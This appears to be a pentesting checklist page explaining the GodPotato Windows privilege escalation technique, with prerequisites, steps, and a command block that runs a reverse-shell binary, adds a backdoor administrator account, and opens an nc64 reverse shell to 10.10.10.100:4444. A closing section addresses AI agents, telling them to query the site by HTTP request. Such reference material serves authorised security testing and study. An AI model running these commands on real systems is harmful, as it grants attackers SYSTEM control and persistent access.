# God Potato

### Overview

**God Potato** is a **Windows local privilege escalation (LPE)** technique that abuses **token impersonation** to escalate privileges from a **low-privileged service account** to **NT AUTHORITY\SYSTEM**.

It is the **latest and most powerful member of the Potato family**, designed to work on **modern Windows versions** where earlier Potato attacks (Juicy, Rogue, PrintSpoofer, Sweet) often fail.

God Potato exploits:

* Windows **RPC / ALPC behavior**
* **NTLM authentication**
* SeImpersonatePrivilege

### Why this Works

Windows allows processes with **SeImpersonatePrivilege** to impersonate tokens of authenticated clients.

God Potato:

1. Creates a **malicious RPC/ALPC listener**
2. Forces a **SYSTEM process** to authenticate to it
3. Captures the **SYSTEM access token**
4. Impersonates the token
5. Executes attacker-controlled commands as SYSTEM

### Prerequisites

1. Local Code Execution
2. Token Impersonation Privilege
3. Suitable Execution Context(Eg: IIS AppPool, MSSQL service account, NETWORK SERVICE)
4. Windows 2012,2016,2019 and 2022(config dependent). Windows 10, 11 (Depends)

### Steps

1. Check Token Privileges
2. Upload God Potato
3. Execute Exploit:

   ```bash
   Godpotato.exe -cmd "cmd /c reverse.exe"
   Godpotato.exe -cmd "cmd.exe /c net user godadmin P@ssw0rd! /add && net localgroup administrators godadmin /add"
   Godpotato.exe -cmd ".\nc64.exe 10.10.10.100 4444 -e c:\windows\system32\cmd.exe"
   ```

### References

1. <https://github.com/BeichenDream/GodPotato>


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://gokulkarthik.gitbook.io/pentesting-checklist/windows-and-active-directory/windows-privilege-escalation/potato-attacks/god-potato.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
